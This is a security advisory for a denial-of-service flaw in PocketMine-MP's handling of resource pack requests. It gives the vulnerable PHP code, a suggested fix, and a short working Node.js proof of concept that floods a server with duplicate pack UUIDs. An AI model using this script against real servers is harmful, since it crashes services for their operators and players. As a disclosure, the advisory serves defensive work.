Pmmp · Pocketmine-Mp · CVE-2025-71417
### Summary
A denial-of-service / out-of-memory vulnerability exists in the `STATUS SEND PACKS` handling of `ResourcePackClientResponsePacket`.
PocketMine-MP processes the `packIds` array without verifying that all entries are unique.
A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS SEND PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.
Severity: **High** — Remote DoS from an authenticated client.
---
### Details
Relevant code (simplified):
```php
case ResourcePackClientResponsePacket::STATUS SEND PACKS:
foreach($packet->packIds as $uuid){
$splitPos = strpos($uuid, " ");
if($splitPos !== false){
$uuid = substr($uuid, 0, $splitPos);
}
$pack = $this->getPackById($uuid);
if(!($pack instanceof ResourcePack)){
$this->disconnectWithError("Unknown pack $uuid requested...");
return false;
}
$this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
$pack->getPackId(),
self::PACK CHUNK SIZE,
(int) ceil($pack->getPackSize() / self::PACK CHUNK SIZE),
$pack->getPackSize(),
$pack->getSha256(),
false,
ResourcePackType::RESOURCES
));
}
break;
```
**Root cause:**
* The `packIds` array is taken directly from the client packet and processed as-is.
* There is no check to ensure that all requested packs are unique.
* A malicious client can craft a `STATUS SEND PACKS` packet with many duplicates of a valid UUID.
* Each duplicate results in the server re-sending the same pack, consuming additional memory.
**Why this is unexpected:**
* Mojang's official clients never send duplicates in `packIds`.
* PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.
---
**Suggested fix:**
Before sending packs:
1. Remove duplicates from the incoming `packIds` array.
2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
3. Track which packs have already been sent to this player, and skip any that have already been transferred.
```php
$alreadySent = $this->packsSent ?? [];
// Remove duplicates
$uniquePackIds = array unique($packet->packIds);
// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
$this->disconnectWithError("Too many duplicate resource pack requests");
return false;
}
foreach($uniquePackIds as $uuid){
if(in array($uuid, $alreadySent, true)){
continue; // Skip packs already sent to this player
}
// existing code...
$alreadySent[] = $uuid;
}
$this->packsSent = $alreadySent;
```
---
### PoC
1. Join a PocketMine-MP server with at least one resource pack enabled.
2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:
* `status = STATUS SEND PACKS`
* `packIds` = many duplicates of a known valid pack UUID.
Example Node.js PoC (requires `bedrock-protocol` and a valid `PACK UUID`):
```js
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;
const client = createClient({
host,
port,
username,
offline: true
});
client.on('spawn', () => {
console.log('[*] Sending duplicate pack request...');
client.queue('resource pack client response', {
response status: 'send packs',
resourcepackids: Array(DUPLICATES).fill(PACK UUID)
});
});
```
---
### Impact
* **Type:** Remote Denial of Service / Memory Exhaustion
* **Who is impacted:** Any PocketMine-MP server with resource packs enabled
* **Requirements:** Attacker must connect to the server (authenticated player)
* **Effect:** Server memory rapidly increases, leading to freeze or crash